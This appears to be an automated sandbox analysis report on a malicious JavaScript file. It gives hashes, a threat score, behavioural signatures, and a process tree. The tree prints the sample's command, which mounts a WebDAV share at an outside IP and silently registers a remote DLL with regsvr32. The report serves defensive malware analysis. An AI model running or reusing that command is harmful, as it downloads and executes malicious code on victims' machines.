Analysis

  • max time kernel
    136s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 14:09

General

  • Target

    713170861512215723.js

  • Size

    4KB

  • MD5

    95ce175efbb11c0e0142507239f5166f

  • SHA1

    7b9b9ebf228b448302de515c0fbaf9e4c52f4a32

  • SHA256

    4b4eda6e582030397e596fae75a7c4715a088ef4643cfa8ac5da81cc04e2bc5e

  • SHA512

    5bd7d10dab37ae9ce5d675b6a171d8cd172e5f071238d84cadad2ef2f8e569dee16d7647b252198a6f8ef284635a20d83e0ea731bd815cd0c54702fc576a5fde

  • SSDEEP

    96:taXC6bQFnZAIQOhEmdBRRtbS+7NBaDhyGG5icUx4okeL4ij8884tb9AkDj8884tl:9urkeL4iptb9AkDptb9ic

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\713170861512215723.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\1801224719432.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3668

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads